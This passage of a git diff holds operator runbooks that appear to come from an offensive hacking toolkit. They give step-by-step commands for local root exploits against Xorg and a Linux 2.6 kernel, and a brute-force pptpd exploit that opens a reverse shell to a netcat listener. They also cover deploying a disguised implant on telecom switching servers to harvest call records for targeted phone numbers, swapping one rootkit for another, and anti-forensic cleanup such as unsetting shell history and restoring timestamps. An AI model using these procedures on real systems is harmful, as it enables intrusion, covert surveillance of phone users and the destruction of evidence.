/tp/med/datastore/collect/siemens_msc_* +ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr +ls -ld /tp/med/archive/collect/siemens_msc_* +ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr + +## shows oldest and newest files in directories: +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10 + +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10 + +## isbapro1 10.5.7.51 +## nothing new +-lt /u01/product_evdp/evident/data_store/collect +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10 + +-lt /u03/archive/collect +## newer stuff +ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l +## old stuff: +ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10 + + +############# +## COLLECT ## +############# + +## +## cd to hidden directory where ENEMYRUN is set up +## when in the hidden directory, there could be two subdirectories; +## one for a forward instance and one backward (e.g. erf and erb) +## + +-cd IMPLANT_HIDDEN_DIRECTORY + +## +## there should be files in: +## er*/aux_*/output/final +## and possibly if parsing is occuring: +## er*/aux_*/output +## + +-ls -R er* + +-ls -R IMPLANT_HIDDEN_DIRECTORY/er* + +## +## stop current instances on ENEMYRUN +## need name of process ENEMYRUN is running as on target; should be on plan, or check old opnotes +## ER_PROCESS_NAME: name under which ENEMYRUN is running on target; try nscd which will look like ./nscd +## + +#ps -ef | grep ENEMYRUN_PROCESS_NAME +ps -ef | grep nscd + +## kill with SIGTERM; if it doesn't work use kill -9 +## ENEMYRUN_PID: process id under which ENEMYRUN is running on target + +kill -15 ENEMYRUN_PID + +## +## collect parsed CDRs and logs created from the backward directory +## files are encrypted +## + +-get IMPLANT_HIDDEN_DIRECTORY/er*/aux_*/output/final/* + +-get IMPLANT_HIDDEN_DIRECTORY/er*/logs/final/log* + +## in a local window make sure you have them all: +ls -laR /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/er* + + +## +## clean ER directories +## + +## remove parsed CDRs + +rm -fr IMPLANT_HIDDEN_DIRECTORY/er*/aux_*/output/final/* + +## remove old logs + +rm -f IMPLANT_HIDDEN_DIRECTORY/er*/logs/final/log* + +## remove the status.log file >>>ONLY<<< from the >>>BACKWARDS<<< directory + +rm -f IMPLANT_HIDDEN_DIRECTORY/erb/status.log + +-ls -R er* + +-ls -R IMPLANT_HIDDEN_DIRECTORY/er* + + +## +## edit ER configuration files +## + +## in a local window + +cd /current/down/er_PROJECTNAME + +## find ER configs + +ls -la er_conf*.txt + +## should usually not have to edit the forward config, er_conf_fwd*.txt +## edit the backwards config, er_conf_bwd*.txt + +vi er_conf_bwd.txt + +## probably have to change START_DAY and STOP_DAY +## START_DAY: YYYYMMDD # day backwards in time from which to start +## STOP_DAY: YYYYMMDD # day forwards from START_DAY: to stop +## make sure you've made date range changes, or any other changes, +## to the plaintext ER configuration files and save + + +## +## encrypt required ER files +## + +## encrypt the ER backwards configuration file + +cd /current/down/er_PROJECTNAME + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_bwd.txt -o /current/down/er_PROJECTNAME/er_conf_bwd.enc -k CRYPTKEY -b + +## encrypt the ER forwards configuration file + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_fwd.txt -o /current/down/er_PROJECTNAME/er_conf_fwd.enc -k CRYPTKEY -b + +file /current/down/er_PROJECTNAME/er_conf_*.enc + + +## --------------- ## +## BACKWARDS FILES ## +## --------------- ## + +## +## put up encrypted files +## + +## encrypted argfile(s) + +-put /current/down/argfiles/argfile1.enc IMPLANT_HIDDEN_DIRECTORY/erb/adm1 + +## copy adm1 for each aux_* directory you see +## e.g. if you see aux_1 aux_2 aux_3 then: +## cp adm1 adm2 +## cp adm1 adm3 + +## encrypted ER configuration file + +-put /current/down/er_PROJECTNAME/er_conf_bwd.enc IMPLANT_HIDDEN_DIRECTORY/erb/ecb + +## +## start ENEMYRUN +## may not work w/ PATH=. +## CRYPTKEY must be the same as in the ER configuration file +## + +-cd IMPLANT_HIDDEN_DIRECTORY/erb + +L='-I ecb -k CRYPTKEY'; export L; ./nscd + +#ps -ef | grep ENEMYRUN_PROCESS_NAME +ps -ef | grep nscd + +## record ER process pid(s) in opnotes +## DDMonYY +## backward ENEMYRUN_PROCESS_NAME +## pid: + +ps -ef | grep ENEMYRUN_PID + +## the argfile(s) should no longer be in the erb directory after ER is running +## if the parser has started, these files should grow +## logs IMPLANT_HIDDEN_DIRECTORY/erb/aux_1/output/Log.* +## hits IMPLANT_HIDDEN_DIRECTORY/erb/aux_1/output/.* + +-ls -R erb + +-ls -R IMPLANT_HIDDEN_DIRECTORY/erb + + +## -------------- ## +## FORWARDS FILES ## +## -------------- ## + +## +## put up encrypted files +## + +## encrypted argfile(s) + +-put /current/down/argfiles/argfile1.enc IMPLANT_HIDDEN_DIRECTORY/erf/adm1 + + ## or + +-put /current/down/argfiles/argfile_forward.enc IMPLANT_HIDDEN_DIRECTORY/erf/adm1 + +## copy adm1 for each aux_* directory you see +## e.g. if you see aux_1 aux_2 aux_3 then: +## cp adm1 adm2 +## cp adm1 adm3 + +## encrypted ER configuration file + +-put /current/down/er_PROJECTNAME/er_conf_fwd.enc IMPLANT_HIDDEN_DIRECTORY/erf/ecf + +## +## start ENEMYRUN +## may not work w/ PATH=. +## CRYPTKEY must be the same as in the ER configuration file +## + +-cd IMPLANT_HIDDEN_DIRECTORY/erf + +L='-I ecf -k CRYPTKEY'; export L; ./nscd + +#ps -ef | grep ENEMYRUN_PROCESS_NAME +ps -ef | grep nscd + +## record ER process pid(s) in opnotes +## DDMonYY +## forward ENEMYRUN_PROCESS_NAME +## pid: ER_PID + +ps -ef | grep ENEMYRUN_PID + +## the argfile(s) should no longer be in the erb directory after ER is running +## if the parser has started, these files should grow +## logs IMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/Log.* +## hits IMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/.* + +-ls -R erf + +-ls -R IMPLANT_HIDDEN_DIRECTORY/erf + +## +## once all required ER instances are running, you're done +## + +-cd /tmp +-burnBURN + + +## +## decrypt parsed CDRs locally +## + +## single aux* directory + +cd /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/erb + ## and/or +cd /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/final + +for i in * ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i`.txt -k CRYPTKEY -d -c -b ; done + +## multiple aux* directories + +mkdir /current/down/coll +cp /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/er*/aux*/output/final/* /current/down/coll +cd /current/down/coll + +for i in * ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i`.txt -k CRYPTKEY -d -c -b ; done + + +## +## copy decrypted data to media / remove ER tar from /current/down +## + +ls -la *.txt +mz +cp *.txt /mnt/zip*/PROJECTNAME +ls -la /mnt/zip*/PROJECTNAME +uz +rm /current/down/er_*.tar + + +############ +## DEPLOY ## +############ + +## +## edit ER configuration files +## + +## in a local window + +cd /current/down/er_PROJECTNAME + +## find ER configs + +ls -la er_conf*.txt + +## should not have to edit the forward config, er_conf_fwd*.txt +## edit the backwards config, er_conf_bwd*.txt + +vi er_conf_bwd.txt + +## make sure you've made date range changes, or any other changes, +## to the plaintext ER configuration files + + +## +## encrypt required ER files +## + +## encrypt the ER backwards configuration file + +cd /current/down/er_PROJECTNAME + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_bwd.txt -o /current/down/er_PROJECTNAME/er_conf_bwd.enc -k CRYPTKEY -b + +## encrypt the ER forwards configuration file + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_fwd.txt -o /current/down/er_PROJECTNAME/er_conf_fwd.enc -k CRYPTKEY -b + +file /current/down/er_PROJECTNAME/er_conf_*.enc + +## encrypt CURSEHAPPY definition file if using CURSEHAPPY + +for i in /current/up/cursedefs/*.def ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o /current/up/cursedefs/`basename $i .def`.enc -k CRYPTKEY -b ; done + +ls -la +file /current/up/cursedefs/*.enc + +## +## put up directories and tools only if deploying ENEMYRUN +## this means only put up these files/tools if they are not on the target yet +## if you have the least doubt about what you're doing, find someone who knows +## + +## --------------- ## +## BACKWARDS FILES ## +## --------------- ## + +-put /current/down/er_PROJECTNAME/erb_dirs.tar IMPLANT_HIDDEN_DIRECTORY/erb.tar +tar xvf erb.tar + +-cd IMPLANT_HIDDEN_DIRECTORY/erb + +-ls -R + +## put up applicable parser(s) +-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/cursehappy4 IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/cursemagic.v1.0.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/cursegismo.v1.1.0.4.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond + +## encrypted CURSEHAPPY definition file + +-put /current/up/cursedefs/PROJECTNAME.enc IMPLANT_HIDDEN_DIRECTORY/erb/cd + +## put up enemyrun + +-put /current/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/nscd + +## if everything looks good remove tar + +-rm IMPLANT_HIDDEN_DIRECTORY/erb.tar + + +## -------------- ## +## FORWARDS FILES ## +## -------------- ## + +-put /current/down/er_PROJECTNAME/erf_dirs.tar IMPLANT_HIDDEN_DIRECTORY/erf.tar +tar xvf erf.tar + +-cd IMPLANT_HIDDEN_DIRECTORY/erf + +-ls -R + +## put up applicable parser(s) +-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/cursehappy4 IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/cursemagic.v1.0.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/cursegismo.v1.1.0.4.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond + +## encrypted CURSEHAPPY definition file + +-put /current/up/cursedefs/PROJECTNAME.enc IMPLANT_HIDDEN_DIRECTORY/erf/cd + +## put up enemyrun + +-put /current/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/nscd + +## if everything looks good remove tar + +-rm IMPLANT_HIDDEN_DIRECTORY/erf.tar + +## +## to continue the setup process go to the COLLECT section item titled: +## "edit ER configuration files" +## + + diff --git a/Linux/doc/old/etc/user.tool.englandbogy.COMMON b/Linux/doc/old/etc/user.tool.englandbogy.COMMON new file mode 100644 index 0000000..2fbcebb --- /dev/null +++ b/Linux/doc/old/etc/user.tool.englandbogy.COMMON @@ -0,0 +1,92 @@ +####################################### +# ENGLANDBOGY +####################################### + +### local exploit against Xorg for the following versions: +### Xorg X11R7 1.0.1, X11R7 1.0, X11R6 6.9 +### Includes the following distributions: +### MandrakeSoft Linux 10.2, Ubuntu 5.0.4, SuSE Linux 10.0, +### RedHat Fedora Core5, MandrakeSoft Linux 2006.0 +### Fails-on - Xorg X11R7 1.0.2 and greater and less than Xorg X11R6 6.9. +### Requirements - Target needs to have the Xorg binary as SETUID root. +### + +### Exploits the Xorg X server by allowing unprivileged users load arbitrary modules + +### OPSEC: +### vulnerability: public +### exploit: public + +### Determine if vulnerable: + +uname -a + +### get Xorg version; should be one listed above: + +Xorg -version + +### see if Xorg is setuid root- should look similar to this (-rwsr-xr-x ) + +ls -la /usr/bin/Xorg + + +### if tests pass, let's do it: + +-put /current/up/eb eb + +-shell +./eb + +# lots of output similar to this: + + X Window System Version 6.9.0 + Release Date: 21 December 2005 + X Protocol Version 11, Revision 0, Release 6.9 + Build Operating System: SuSE Linux [ELF] SuSE + Current Operating System: Linux linux 2.6.16-rc5-git2-2-default #1 Tue Feb 28 09 :16:17 UTC 2006 i686 + Build Date: 26 February 2006 + Before reporting problems, check http://wiki.X.Org + to make sure that you have the latest version. + Module Loader present + Markers: (--) probed, (**) from config file, (==) default setting, + (++) from command line, (!!) notice, (II) informational, + (WW) warning, (EE) error, (NI) not implemented, (??) unknown. + (++) Log file: "Xorg.log", Time: Tue Jun 6 10:31:57 2006 + (==) Using config file: "/etc/X11/xorg.conf" + (EE) LoadModule: Module bitmap does not have a bitmapModuleData data object. + (EE) Failed to load module "bitmap" (invalid module, 0) + (EE) LoadModule: Module pcidata does not have a pcidataModuleData data object. + (EE) Failed to load module "pcidata" (invalid module, 0) + + Fatal server error: + Unable to load required base modules, Exiting... + + + Please consult the The X.Org Foundation support + at http://wiki.X.Org + for help. + Please also check the log file at "Xorg.log" for additional information. + + + +### you probably have root now, so do your unsets: + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id + +### start a new noserver as root: + +PATH=. crond + + +### Connect to nopen: + +-nstun TARGET_IP + +### CLEANUP: + +# no logging + + diff --git a/Linux/doc/old/etc/user.tool.entrymanor.COMMON b/Linux/doc/old/etc/user.tool.entrymanor.COMMON new file mode 100644 index 0000000..617c29b --- /dev/null +++ b/Linux/doc/old/etc/user.tool.entrymanor.COMMON @@ -0,0 +1,66 @@ + +################################################### +### ENTRYMANOR entrymanor binary: xp_pptpd +################################################### +2008-01-15 08:15:21 EST + +Usage: ./xp_pptpd -i -p -l -r + +-i target +-p port +-l local IP +-r local port +-v verify server +-t timeout in seconds +-s stack location +-h help +-d debug + +Check: +./xp_pptpd -i 127.0.0.1 -p 1723 -v + +Then: +nc -vv -l -p 5492 +./xp_pptpd -i 127.0.0.1 -p 1723 -l 555.1.2.22 -r 5492 + + + + +0. will fail on pptpd versions greater than 1.1.4-b3 and 1.1.3-20030409. + + + +1. Determine if the configuration of the target is exploitable by using the -v option. +./xp_pptpd -i 127.0.0.1 -p 1723 -v + + + +2. (In Window 1, type the following command) + +# nc -vv -l -p 5492 +listening on [any] 5492 ... +(after several seconds or minutes) ... + +555.1.2.171: inverse host lookup failed: Unknown host +connect to [555.1.2.22] from (UNKNOWN) [555.1.2.171] 1047 + +(In Window 2, type the following command (use shell if running on linux pitch)) + +# ./xp_pptpd -i 555.1.2.171 -p 1723 -l 555.1.2.22 -r 5492 +Bruteforcing against 555.1.2.171 +interrupt when you get a shell to 555.1.2.22 on port 5492... + +* connecting... [ret=0xbfffff00]..sending done +* connecting... [ret=0xbffffece]..sending done +* connecting... [ret=0xbffffe9c]..sending done +* connecting... [ret=0xbffffe6a]..sending done +* connecting... [ret=0xbffffe38]..sending done +* connecting... [ret=0xbffffe06]..sending done +... +* connecting... [ret=0xbffff82a]..sending done +* connecting... [ret=0xbffff7f8]..sending done +* connecting... [ret=0xbffff7c6]..sending done + +(Hit c when you get a connection back in netcat.) + + diff --git a/Linux/doc/old/etc/user.tool.expitiatezeke.COMMON b/Linux/doc/old/etc/user.tool.expitiatezeke.COMMON new file mode 100644 index 0000000..25fbf23 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.expitiatezeke.COMMON @@ -0,0 +1,154 @@ +############################# +### EXPITIATEZEKE +############################# + +### local exploit against the Linux 2.6.5 - 2.6.6 Fedora Core 2 kernel. + +### EXPITIATEZEKE takes advantage of the chown vulnerability which allows +### you change the gid on any file on the system to the current users gid. + +### This exploit is packaged into a single executable that when run +### will create a temporary file (shell spawning program), change the +### group owner of the device file of the partition that the temp file +### resides on (i.e. If the temp file was /tmp/file12345678 and /tmp was +### mounted on /dev/hdb3 then the device file /dev/hdb3 would have its +### group ownership changed.) +### After this takes place a cache flushing procedure occurs syncing the +### running filesystem with the contents of the disk. +### Once this finishes and if successful, a root shell is returned to the operator. + +### OPSEC: vulnerability - public + +### NOTE: This will cause a temporary CPU spike during execution; care should be taken +### to determine the risk if there are active users on the target + + + + +### +### Get a "before" picture of the device where /tmp resides +### + +# find the device that is mounted on /tmp (ex.- /dev/hdb3) and make note; +# if /tmp does not have its own filesystem, use the device of "/" + +df -k + +# look at the perms of the DEVICE, then make note of the group id; typically should be "disk" +# ex: -ls /dev/hdb3 + +-ls + +# correlate the groupid to a digit by finding it in /etc/group, then save the numeric value +# ex: -grep disk /etc/group + +-grep /etc/group + + + + + +### +### upload and execute +### + +-put /current/up/exze exze + +# run the script (within nopen, use -shell) +-shell +./exze + +### A status code will show up while the program is running. +### The following value should indicate potential success: 0x000 +### The should be the same as you found out from the initial checks +### MAKE NOTE OF THE VALUE REPORTED BACK ON THIS INITIAL ATTEMPT IN CASE OF FAILURE!!! + +### Any value other than 0x000 is an error code (see other documentation) +### Wait about 5 minutes (for the cache flushing) and you should get a root prompt, then: + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id + +# start a new noserver +PATH=. crond + + + + + + +### +### IF AT FIRST YOU DON'T SUCCEED....... try, try..... the following in order: +### + +### If you received an error that permissions didn't change, you may try again. +### Next, try using the -r option. This option will prevent the temporary shell +### file from being removed if there is an error so that the operator will have a chance +### to do the cache flushing manually. + +-shell +./exze -r + +### if successful, run the "unset"s from above - you have root and can cleanup + +### If the 'permissions didn't change' error still happens, the flushing procedure +### will need to be performed manually before proceeding to the next step. + +find / -type f -exec cat {} \; > /dev/null + +### ONLY AFTER the 'find' completes, check the permissions of the shell file in /tmp: +### should be rws--x--- and owned by root +### DO NOT EXECUTE, OPEN, READ, OR WRITE TO THE SHELL FILE BEFORE THE EXPLOIT FINISHES +### AS IT MIGHT UNDO THE CHANGES MADE TO THE DISK!! THIS MEANS DO NOT DO AN LS +### ON THE FILE OR TOUCH IT IN ANY MANNER UNTIL THE EXPLOIT COMPLETES. + +-lt /tmp + +### if the permissions have changed, then manually attempt to get a root shell; +### the -d and -i options will attempt to perform the cleanup of the shell file in /tmp +### and reset the group perms of the DEVICE + +-lt /tmp +-shell +/tmp/file<######> -d -i + +### if you don't get root by now, you probably won't + + +### +### CLEANUP +### + +### no cleanup if successful the first time, however.... + +### there may be cleanup involved under the following conditions: +### the exploit did NOT work on the first attempt +### the exploit was aborted +### the connection to target was dropped + +### check the group id of the DEVICE where /tmp resides; +### if the group is not the same as it was originally, set it to +### the gid echoed back in your INITIAL ATTEMPT (digit following 0x000) + + +### NOTE: if you didn't get root, you may not be able to chgrp the device +### but hopefully, the exploit will have set it to gid '0' to be +### less conspicuous than that of your user's gid + +-lt /dev/ +chgrp /dev/ +-lt /dev + + +# the shell file (/tmp/file######) may need to be cleaned up on target: +-lt /tmp +-rm /tmp/file* + + +# remove the binary from /tmp +-rm exze + + + diff --git a/Linux/doc/old/etc/user.tool.linux_remove_in_install_ss.COMMON b/Linux/doc/old/etc/user.tool.linux_remove_in_install_ss.COMMON new file mode 100644 index 0000000..89e815a --- /dev/null +++ b/Linux/doc/old/etc/user.tool.linux_remove_in_install_ss.COMMON @@ -0,0 +1,72 @@ +### Upgrading a Linux Incision to a Stoicsurgeon + +### Step 1: Trigger Incision or -elevate + +### Step 2: Save timestamps of affected files/directories +stat -t /dev /sbin /sbin/init /dev/ttyi* >L:/current/down/beforetimes + +### Step 3: Upload dittlelight +-put /current/up/hidelite.linux h + +### Step 4: Need a nopen callback window to use dittlelight (will not +### work on any pids with parents that aren't 1, and callback +### windows do that) +-nrtun PORT +-call REDIR_IP:PORT + +### Step 5: In the callback window, get your PID (and make sure the +### PPID is 1 +-pid + +### Step 6: Unhide your callback window +./h -u -p CALLBACK_PID + +### Step 7: Make sure you are unhidden by comparing process listings +### and directory listings, and there should be differences +ps -ef | grep sendmail +-lt /dev/ttyi* + +### Step 8: In unhidden window, trigger Incision self-destruct +touch /dev/ttyia3 + +### Step 9: Repeat step 7, except now instead of being different, +### the two windows should now be the same because Incision +### is gone, so everything is unhidden +ps -ef | grep sendmail +-lt /dev/ttyi* + +### Step 10: Remove file we touched/"created" +-rm /dev/ttyia3 + +### Step 11: At this point, follow the "user.tool.stoicsurgeon" +### script in /current/etc to install Stoicsurgeon + +### Step 12: Once Stoicsurgeon is installed, restore timestamps +### for the files/dirs affected by the Incision uninstall +### These are saved in "/current/down/beforetimes" from Step 2 +### NOTE: If "-ctrl" does not work, upload and run the standalone +### "Ctrl" program, computing the SEED variable as described +### in the "user.tool.stoicsurgeon" script if needed, or +### you can trigger and not need the SEED +-ctrl -s /sbin/init ATIME 0 MTIME 0 CTIME 0 +-ctrl -s /sbin ATIME 0 MTIME 0 CTIME 0 +-ctrl -s /dev ATIME 0 MTIME 0 CTIME 0 + +### Step 13: Confirm timestamps are restored +### This is a bit tricky to see that everything is right, so +### confirm that: +### 1. everything for /sbin should match (i.e. no diff line) +### 2. there should be no /dev/ttyia* files in aftertimes +### 3. /dev may not match exactly if there were changes, but +### /dev can change a lot so not a huge deal +### 4. the timestamps for /sbin/init should be the same in +### beforetimes and aftertimes +### 5. the inode field (8th field in stat output) from +### /dev/ttyia1 in beforetimes should match inode field +### from /sbin/init in aftertimes +stat -t /dev /sbin /sbin/init /dev/ttyi* >L:/current/down/aftertimes +-lsh diff /current/down/beforetimes /current/down/aftertimes + +### All done!$###$ + + diff --git a/Linux/doc/old/etc/user.tool.orleansstride.COMMON b/Linux/doc/old/etc/user.tool.orleansstride.COMMON new file mode 100644 index 0000000..6d99fd8 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.orleansstride.COMMON @@ -0,0 +1,230 @@ +################ ORLEANSSTRIDE ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.orleansstride.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# if searching for LACs and cell id's, use the format in the documentation: +# ex. - 410 01 95 18374 +# if searching for phone numbers, use the normal format: +# ex. - 4837506 + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + +### For ORLEANSSTRIDE, the numbers must be in sorted order...the following loop +### will put all of the files in sorted order + +cd /current/down/argfiles +for i in argfile*.txt; do sort -u -o `basename $i .txt`.sorted; done + + +### Make sure find the cryptTool...add to PATH if which fails... +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### To encrypt one at a time... +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.sorted -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.sorted -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### Loop to encrypt all the argfiles +cd /current/down/argfiles +for i in argfile*.sorted; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .sorted`.enc -k CRYPTKEY -b + +file argfile*.enc + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the orleansstride commands. + +### Typical file locations per host: + +########################## sicklestar: +# magnum 10.140.0.68 + +ls -lart /archive/cdrc/*mob | head -10 +ls -lart /archive/cdrc/*mob | tail -10 +ls -lart /archive/cdrc/input/DONE/*mob | head -10 +ls -lart /archive/cdrc/input/DONE/*mob | tail -10 + +### Tips for running the ORLEANSSTRIDE 1.0 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### The phone list is deleted automatically + + +######## Upload the parser (ORLEANSSTRIDE) and call it nscd +# put up the parser tool +mkdir /tmp/.scsi +-cd /tmp/.scsi +-put /current/up/orleansstride.v1.0.SunOS5.8.targetsl nscd + + +##### Upload the encrypted phone list as awk, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc1 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc1.more +-beep 15 + + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc2 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc2.more +-beep 15 + +############ argfile 3 + +-put /current/down/argfiles/argfile3.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[789]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc3 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc awk +-setenv B=-k CRYPTKEY -z "find /archive/cdrc/ -name '2006071[56]*.mob' -print" -P ./awk +./nscd >T:/current/down/cdrhits.orleansstride.HOST.DDMonYY.enc3.more +-beep 15 + + +###### +###### survey mode: +###### + +### checks for IMEIs that have more than one IMSI associated with it: +### to limit amount of memory used, replace "-x" with "-X numberBytes" +-setenv B=-k CRYPTKEY -z 